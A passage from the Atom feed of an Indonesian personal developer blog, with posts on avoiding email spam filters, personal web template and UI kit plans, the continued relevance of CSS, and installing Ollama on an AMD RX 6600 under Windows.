&lt;p&gt;Pengiriman email tidak selalu lancar, ada faktor keamanan yang dimiliki penyedia layanan email yang membuat email tidak terkirim, email ditandai sebagai spam, bahkan pengirim dianggap sebagai spam.&lt;/p&gt;
&lt;h2 id=&quot;pencegahannya&quot; tabindex=&quot;-1&quot;&gt;Pencegahannya&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/kenapa-masih-email-dan-cara-agar-email-tidak-dianggap-spam/#pencegahannya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Memuat tautan eksternal yang tidak aman, misalnya situs tanpa SSL atau yang ditandai red flag, dan memuat kode yang mencurigakan seperti form adalah faktor besar ditandai sebagai spam.&lt;/p&gt;
&lt;p&gt;Penggunaan bahasa yang digunakan pada judul dan konten email tidak boleh mengandung kata-kata yang melanggar masing-masing penyedia layanan email.&lt;/p&gt;
&lt;p&gt;Mencantumkan tautan untuk unsubscribe, nama pengirim, alamat fisik, dan kontak tempat kerja atau bisnis adalah salah satu cara untuk lolos dari filter spam dari mesin dan pelanggan.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Bagaimana Saya Membuat Template Web yang Disukai</title>
		<link href="https://hariswah.idin.my.id/blog/bagaimana-saya-membuat-template-web-yang-disukai/"/>
		<updated>2024-09-02T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/bagaimana-saya-membuat-template-web-yang-disukai/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/bagaimana-saya-membuat-template-web-yang-disukai/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saya membutuhkan template untuk website personal saya yang akan berisi showcase proyek dan tulisan saya. Walaupun dibuat khusus, mungkin orang lain dapat menikmatinya. Kalau begitu, template seperti apa dengan kebutuhan seperti ini yang disukai.&lt;/p&gt;
&lt;p&gt;Sampai waktu artikel ini ditulis, tampilan website saya ini masih menggunakan template blog bawaan framework Astro. Sangat tidak nyaman menggunakan template ini, bukan hanya dari tampilan yang berantakan (akibat banyak komponen yang saya hilangkan?), tapi dari kodenya juga, mungkin karena bukan milik sendiri.&lt;/p&gt;
&lt;p&gt;Saya menginginkan tema yang formal namun tetap fun. Sebagai gambaran, saya ingin tombol bertekstur dengan font sans-serif pada laman utama dan monokrom dengan font serif di pada laman blog.&lt;/p&gt;
&lt;h2 id=&quot;laman-utama&quot; tabindex=&quot;-1&quot;&gt;Laman Utama&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/bagaimana-saya-membuat-template-web-yang-disukai/#laman-utama&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Di laman utama saya ingin membuat showcase berupa grid untuk beberapa proyek yang sudah dan ingin saya buat, dengan masing-masing card berisi detail tentang proyek tersebut, juga tautan repositori dan unduhan dengan tampilan yang sudah saya deskripsikan sebelumnya.&lt;/p&gt;
&lt;h2 id=&quot;laman-blog&quot; tabindex=&quot;-1&quot;&gt;Laman Blog&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/bagaimana-saya-membuat-template-web-yang-disukai/#laman-blog&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Juga seperti yang sudah saya deskripsikan dengan catatan tambahan, karena saya menyukai platform blog terkenal seperti medium, dev.to, bahkan blog personal milik DHH, mungkin saya akan menjadikan tampilan website itu sebagai referensi.&lt;/p&gt;
&lt;h2 id=&quot;percobaan-apa-untuk-menjadi-disukai&quot; tabindex=&quot;-1&quot;&gt;Percobaan apa untuk menjadi disukai&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/bagaimana-saya-membuat-template-web-yang-disukai/#percobaan-apa-untuk-menjadi-disukai&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Mungkin saya perlu memikirkan soal penggunaan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Background bergambar pada tombol yang penting.&lt;/li&gt;
&lt;li&gt;Layout fixed untuk menonjolkan transisi antara hero dan konten di laman utama.&lt;/li&gt;
&lt;li&gt;Warna malam modern yang ketinggalan jaman untuk membangkitkan rasa nostalgia.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Menurut saya walaupun dibuat khusus untuk website pribadi saya, template ini nantinya mungkin akan cocok digunakan untuk website personal yang kebutuhannya mirip seperti saya.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Fitur Ini Harus Ditambahkan ke Aplikasi WYSIWYG Email</title>
		<link href="https://hariswah.idin.my.id/blog/fitur-ini-harus-ditambahkan-ke-aplikasi-wysiwyg-email/"/>
		<updated>2024-09-01T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/fitur-ini-harus-ditambahkan-ke-aplikasi-wysiwyg-email/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/fitur-ini-harus-ditambahkan-ke-aplikasi-wysiwyg-email/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saya membutuhkan promosi artikel lewat email untuk dibagikan ke pelanggan. Untuk membuat template email marketing saya akan memakai aplikasi WYSIWYG Email. Namun proyek personal milik saya ini tidak memiliki fitur layout artikel, maka saya harus menambahkan fiturnya terlebih dahulu untuk mulai menggunakannya.&lt;/p&gt;
&lt;p&gt;WYSIWYG Email adalah proyek personal milik saya, yang saya kerjakan di sela-sela mencari pekerjaan pada Q4 tahun 2023. Aplikasi ini berguna untuk membuat template email marketing secara cepat dan rapih. WYSIWYG Email akan menghasilkan kode yang dapat langsung disalin ke aplikasi email, tentunya dengan format penulisan HTML. Baca opini saya tentang WYSIWYG Email.&lt;/p&gt;
&lt;p&gt;WYSIWYG Email dibuat menggunakan React sebagai library JavaScript dengan vanilla CSS. Untuk menambahkan fitur layout artikel sepertinya tidak terlalu sulit, saya hanya perlu menambahkan form tambah widget, entah menggunakan yang sudah ada atau harus tersendiri, yang akan menambahkan komponen ke kanvas dan dapat dikustomisasi lewat form. Terasa cukup singkat.&lt;/p&gt;
&lt;p&gt;Kasus paling menguntungkan dengan ditambahkannya fitur layout artikel ini adalah jika aplikasi ini digunakan untuk membuat template email bisnis, berisi berita terkait produk sebagai bahan promosi bisnis tersebut. Saya belum tertarik untuk memikirkan pencegahannya, karena tujuannya tetap sebagai solusi kepada yang membutuhkan template email marketing, dalam kasus fitur layout artikel ini adalah saya sendiri.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Rangkuman Minggu Ini #1</title>
		<link href="https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/"/>
		<updated>2024-08-31T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;26-agustus&quot; tabindex=&quot;-1&quot;&gt;26 Agustus&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/#26-agustus&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h2 id=&quot;cara-instal-ollama-menggunakan-rx-6600-di-windows&quot; tabindex=&quot;-1&quot;&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows&quot;&gt;Cara Instal Ollama Menggunakan RX 6600 di Windows&lt;/a&gt;&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/#cara-instal-ollama-menggunakan-rx-6600-di-windows&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Awal minggu ini saya menulis tentang instalasi Ollama di sistem operasi Windows yang ditenagai kartu grafis RX 6600. Menariknya adalah saya tidak hanya membahas untuk model kartu grafis itu sendiri, namun juga model lain di seri yang sama, jadi cara instalasi inipun berguna untuk diterapkan di mesin dengan kartu grafis seri tersebut.&lt;/p&gt;
&lt;h2 id=&quot;28-agustus&quot; tabindex=&quot;-1&quot;&gt;28 Agustus&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/#28-agustus&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h2 id=&quot;css-is-dead-long-live-css&quot; tabindex=&quot;-1&quot;&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/css-is-dead-long-live-css&quot;&gt;CSS is Dead, Long Live CSS&lt;/a&gt;&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/#css-is-dead-long-live-css&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dua hari berikutnya saya menulis tentang kenapa CSS tidak kalah penting dari ketiga elemen pengembangan web. Saya menjelaskan dukungan kepada CSS dari komunitas dan browser membuatnya tetap relevan, dan perkembangan AI hanya mempermudah developer untuk menggunakan CSS tanpa meninggalkan penulisan CSS itu sendiri. Karena kepada CSS, desainer dan developer menggantungkan seni yang dituangkan lewat tampilan situs kepada pengguna.&lt;/p&gt;
&lt;h2 id=&quot;30-agustus&quot; tabindex=&quot;-1&quot;&gt;30 Agustus&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/#30-agustus&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h2 id=&quot;saya-harus-memiliki-ui-kit-sendiri-2&quot; tabindex=&quot;-1&quot;&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2&quot;&gt;Saya Harus Memiliki UI Kit Sendiri #2&lt;/a&gt;&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/#saya-harus-memiliki-ui-kit-sendiri-2&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Lalu di hari Jumat, saya melanjutkan artikel yang pernah saya tulis dengan judul yang sama untuk lebih merinci alasan kenapa saya harus membuat UI Kit sendiri sebagai developer yang memiliki selera desainer. Salah satu keinginan saya adalah untuk membuatnya dapat diterapkan ke multi-platform, sehingga jika aplikasi yang dibangun memang dibuat untuk multi-platform, desainnya dapat langsung diterapkan dengan konsisten.&lt;/p&gt;
&lt;h2 id=&quot;31-agustus&quot; tabindex=&quot;-1&quot;&gt;31 Agustus&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/#31-agustus&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h2 id=&quot;media-sosial-untukku&quot; tabindex=&quot;-1&quot;&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/media-sosial-untukku&quot;&gt;Media Sosial Untukku&lt;/a&gt;&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/rangkuman-minggu-ini/#media-sosial-untukku&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Keesokannya di hari Sabtu, saya mencoba menceritakan alasan saya yang tidak menggunakan media sosial lebih dari 5 tahun. Sebenarnya bukan benar-benar tidak menggunakan media sosial, tapi saya menganggap fitur utama dari media sosial itu sendiri tidak ada. Saya tidak benar-benar menggunakan fitur chat, komentar di postingan, follow atau friends, dsb. Hal ini tentu bukan kebanggan karena saya sendiri pun merasa butuh dan terus mencari media sosial apa yang sebenarnya saya butuhkan.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Media Sosial Untukku</title>
		<link href="https://hariswah.idin.my.id/blog/media-sosial-untukku/"/>
		<updated>2024-08-30T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/media-sosial-untukku/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/media-sosial-untukku/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Selama lebih dari 5 tahun, saya melepaskan sosial media sebagai sarana bersosial. Alasan saya untuk tidak menggunakan media sosial memang keputusan yang benar sampai saat ini, namun tidak membuat saya merasa puas, hanya terus memikirkan adakah media sosial yang cocok untuk saya.&lt;/p&gt;
&lt;p&gt;Media Sosial saat ini adalah platform wajib yang semua orang gunakan untuk melakukan aktifitas sosial. Juga digunakan untuk membuat, membagikan, dan mencari ide konten.&lt;/p&gt;
&lt;h2 id=&quot;postingan-per-kategori&quot; tabindex=&quot;-1&quot;&gt;Postingan per Kategori&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/media-sosial-untukku/#postingan-per-kategori&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tentu hal utama yang harus ada dan tentunya saya butuhkan adalah fitur posting untuk membagikan konten berisi teks singkat, gambar, maupun tautan yang sedang saya pikirkan. Bukan postingan yang diacak untuk muncul di pengguna tertentu namun postingan yang bisa dipilih kategorinya oleh penulis sehingga pembaca dapat menemukannya, juga konten terkait lain yang ada dalam kategori tersebut.&lt;/p&gt;
&lt;h2 id=&quot;grup&quot; tabindex=&quot;-1&quot;&gt;Grup&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/media-sosial-untukku/#grup&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Fitur grup di sosial media adalah ide jenius, pengguna bisa bergabung dengan pengguna lain yang sekiranya terkait dalam suatu hal. Saya rasa saya sangat membutuhkan fitur ini jika saya aktif di suatu media sosial.&lt;/p&gt;
&lt;h2 id=&quot;fitur-yang-tidak-saya-perlukan&quot; tabindex=&quot;-1&quot;&gt;Fitur yang tidak saya perlukan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/media-sosial-untukku/#fitur-yang-tidak-saya-perlukan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saat masih bermedia sosial saya jarang dan berencara untuk tetap tidak menggunakan fitur chat, follow, dan friends.&lt;br /&gt;
Untuk fitur komen di kebanyakan media sosial saat ini masih sama seperti penilaian saat dulu, pengguna terlalu mudah untuk menuliskan benak tanpa batasan yang akibatnya pun tanpa ada batasan.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Saya Harus Memiliki UI Kit Sendiri #2</title>
		<link href="https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2/"/>
		<updated>2024-08-29T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;p&gt;Dari artikel sebelumnya yang sudah saya buat, saya memutuskan untuk melanjutkan artikelnya karena masih ada beberapa catatan untuk diri saya sendiri soal alasan dan planning ini.&lt;/p&gt;
&lt;h2 id=&quot;arti-dari-ui-kit-ini&quot; tabindex=&quot;-1&quot;&gt;Arti dari UI Kit Ini&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2/#arti-dari-ui-kit-ini&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yang saya bayangkan akan arti dari UI Kit ini bukan hanya teknik penerapan praktek melainkan ciri khas dan kesan pertama yang ingin saya tunjukkan dari diri saya, seperti mendesain cover buku.&lt;/p&gt;
&lt;h2 id=&quot;seperti-apa-jadinya&quot; tabindex=&quot;-1&quot;&gt;Seperti Apa Jadinya&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2/#seperti-apa-jadinya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hampir semua UI Kit menawarkan desain yang umum, dibuat cocok digunakan untuk keperluan apapun. Untuk beberapa komponen saya menginginkan UI yang pas untuk keperluan daripada memaksakan desainnya menjadi umum, agar tersampaikan arti dari desain itu sendiri.&lt;/p&gt;
&lt;h2 id=&quot;menjadi-yang-paling-bagus&quot; tabindex=&quot;-1&quot;&gt;Menjadi yang Paling Bagus&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2/#menjadi-yang-paling-bagus&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ya, untuk diri saya sendiri, tergantung untuk berapa lama, tapi tentu banyak yang sudah lebih dahulu dan jauh lebih bagus dari yang akan saya buat. Waktu dan usaha lebih adalah harga yang harus ditukar untuk membuatnya tanpa menggunakan yang sudah ada.&lt;/p&gt;
&lt;h2 id=&quot;kapan-saya-membutuhkannya&quot; tabindex=&quot;-1&quot;&gt;Kapan Saya Membutuhkannya&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2/#kapan-saya-membutuhkannya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sejujurnya saya tidak yakin kapan saya membutuhkannya, yang saya pikirkan hanyalah saya membutuhkannya. Tidak menghiraukan kapan, bahkan kalaupun nantinya tidak saya butuhkan, setidaknya saya pernah membuatnya.&lt;/p&gt;
&lt;h2 id=&quot;multi-platform-adalah-kunci&quot; tabindex=&quot;-1&quot;&gt;Multi-platform Adalah Kunci&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2/#multi-platform-adalah-kunci&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Membuatnya tersedia untuk diimplementasi di lebih dari satu platform adalah kunci untuk membuat saya lebih bersemangat membuatnya dan saya rasa bersemangat untuk menggunakannya juga. Memiliki UI yang unik dan konsisten di multi-platform tentu adalah nilai lebih.&lt;/p&gt;
&lt;h2 id=&quot;bagaimana-membuatnya-multi-platform&quot; tabindex=&quot;-1&quot;&gt;Bagaimana Membuatnya Multi-platform&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri-2/#bagaimana-membuatnya-multi-platform&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pengalaman saya dalam mendesain dan implementasi design ke berbagai platform cukup membuat saya membayangkan bagaimana saya membuatnya di platform Web, dengan alasan teknis saya memagarkan optimisme ini agar tetap ingin tahu akan hal yang belum saya kuasai.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>CSS is Dead, Long Live CSS</title>
		<link href="https://hariswah.idin.my.id/blog/css-is-dead-long-live-css/"/>
		<updated>2024-08-27T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/css-is-dead-long-live-css/</id>
		<language>id-ID</language>
			<category term ="Web Development" />
		<content type="html">&lt;h2 id=&quot;tldr&quot; tabindex=&quot;-1&quot;&gt;TL;DR&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/css-is-dead-long-live-css/#tldr&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;CSS adalah teknologi yang dibelakangkan untuk orang-orang yang ingin mempelajari web dev, padahal “ketidakhadirannya” saat ini adalah jawaban untuk pertanyaan: “Benarkah?”, di setiap saran influencer teknologi yang menyebut CSS paling tidak penting di antara ketiga teknologi utama web dev (HTML, CSS JS).&lt;/p&gt;
&lt;h2 id=&quot;css-sama-penting&quot; tabindex=&quot;-1&quot;&gt;CSS sama penting&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/css-is-dead-long-live-css/#css-sama-penting&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dalam pekerjaan bahkan proyek pribadi, penggunaan CSS tetap sama penting.&lt;br /&gt;
Siapa yang ingin membiarkan proyek pribadi yang akan digunakan sebagai portfolio berpenampilan seperti website jadul, tidak konsisten pada jarak, ukuran maupun warna di setiap komponen, atau jebol dari elemen parent-nya.&lt;br /&gt;
Bukan beranggapan untuk menjadi yang paling cantik dan modern, tapi ini adalah cara mencoreti kanvas milik sendiri.&lt;/p&gt;
&lt;h2 id=&quot;apa-buktinya&quot; tabindex=&quot;-1&quot;&gt;Apa buktinya&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/css-is-dead-long-live-css/#apa-buktinya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h2 id=&quot;pembaruan-dan-dukungan&quot; tabindex=&quot;-1&quot;&gt;Pembaruan dan Dukungan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/css-is-dead-long-live-css/#pembaruan-dan-dukungan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
CSSWG adalah komunitas penggiat CSS yang pada tahun ini baru saja merilis @property dalam proyek CSS Houdini, @property sendiri adalah rule alternatif dari :root yang berfungsi untuk mendeklarasikan variable. Pembaruan ini langsung diwadahi support dari browser modern.
Per tanggal artikel ini dibuat, isu penggunaan shorthand agar lebih ringkas untuk rule @property ada dalam tahap proposal.&lt;br /&gt;
&lt;a href=&quot;https://web.dev/blog/at-property-baseline&quot;&gt;@property: Next-gen CSS variables now with universal browser support&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://caniuse.com/?search=%40property&quot;&gt;@property&amp;quot; | Can I use&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/7523&quot;&gt;Shorthand for custom property declaration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;h2 id=&quot;variasi-library&quot; tabindex=&quot;-1&quot;&gt;Variasi library&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/css-is-dead-long-live-css/#variasi-library&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
Perkembangan library JavaScript beriringan dengan variasi library CSS, masing-masing menawarkan solusi dalam kasus masalah yang berbeda.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;ai-tidak-memiliki-seni&quot; tabindex=&quot;-1&quot;&gt;AI Tidak Memiliki Seni&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/css-is-dead-long-live-css/#ai-tidak-memiliki-seni&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Penggunaan AI untuk menuliskan CSS sebagai jawaban dari pertanyaan yang dilontarkan, justru membuat percaya diri bahwa kemampuan dalam ber-CSS tidak tersingkirkan.&lt;br /&gt;
Pada saat AI menghasilkan banyak class berisi banyak rule dalam sekejap, siapa yang akan mengeceknya, siapa yang tahu bagian mana yang benar, bahkan siapa yang tahu jawaban itu benar.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Cara Instal Ollama Menggunakan RX 6600 di Windows</title>
		<link href="https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/"/>
		<updated>2024-08-25T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/</id>
		<language>id-ID</language>
			<category term ="Hacking" />
		<content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/#apa-itu-ollama&quot;&gt;Apa itu Ollama&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/#ai-model&quot;&gt;AI Models&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/#download&quot;&gt;Download&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/#instalasi&quot;&gt;Instalasi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;apa-itu-ollama&quot; tabindex=&quot;-1&quot;&gt;Apa itu Ollama&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/#apa-itu-ollama&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ollama adalah program open-source untuk menjalankan models untuk mengenali dan menghasilkan teks, serta memproses bahasa. Ollama dapat menjadi alternatif dari Copilot yang dibandrol $10/bulan untuk penggunaan individu.&lt;/p&gt;
&lt;p&gt;Secara official Ollama memberikan support untuk beberapa kartu grafis AMD pada tanggal 14 Maret 2024, termasuk Radeon RX 6000 series dimulai dari RX 6800. &lt;a href=&quot;https://ollama.com/blog/amd-preview&quot;&gt;Ollama now supports AMD graphics cards&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Untuk seri lain seperti RX 6750 XT, RX 6700 XT, RX 6700, RX 6650 XT, RX 6600 XT, RX 6600, dapat menggunakan hasil fork Ollama yang dikhususkan untuk support lebih pada AMD. &lt;a href=&quot;https://rocm.docs.amd.com/projects/install-on-windows/en/develop/reference/system-requirements.html&quot;&gt;Windows-supported GPUs&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;ai-model&quot; tabindex=&quot;-1&quot;&gt;AI Model&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/#ai-model&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Per tanggal artikel ini dibuat, AI Model miliki google yaitu CodeGemma terbilang cukup baru, artikelnya merilis model 2b dan 7b pada tanggal 9 April di Hugging Face. &lt;a href=&quot;https://huggingface.co/blog/codegemma&quot;&gt;CodeGemma - an official Google release for code LLMs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Untuk spesifikasi penggunaan, menjalankan model 7B dibutuhkan setidaknya 8GB RAM tersedia, 16GB untuk menjalankan model 13B, dan 32GB untuk model 33B. &lt;a href=&quot;https://github.com/ollama/ollama&quot;&gt;Olla GitHub&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;download&quot; tabindex=&quot;-1&quot;&gt;Download&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/#download&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.amd.com/en/developer/resources/rocm-hub/hip-sdk.html&quot;&gt;AMD HIP SDK untuk Windows&lt;/a&gt;
&lt;blockquote&gt;
&lt;p&gt;Per tanggal artikel ini dibuat: ollama-for-amd tidak mendukung HIP SDK 6.1.2. Dukungan akan ditambahkan jika ada kecepatan menguntungkan yang signifikan.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/likelovewant/ROCmLibs-for-gfx1103-AMD780M-APU/releases/latest&quot;&gt;ROCmLibs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/likelovewant/ollama-for-amd&quot;&gt;ollama-for-amd&lt;/a&gt;
&lt;blockquote&gt;
&lt;p&gt;Pembaruan tidak dilakukan lewat program, melainkan lewat repositori secara manual.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ollama.com/library/codegemma&quot;&gt;CodeGemma&lt;/a&gt;
&lt;blockquote&gt;
&lt;p&gt;Download menggunakan CLI Ollama&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=Continue.continue&quot;&gt;Continue untuk VSCode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
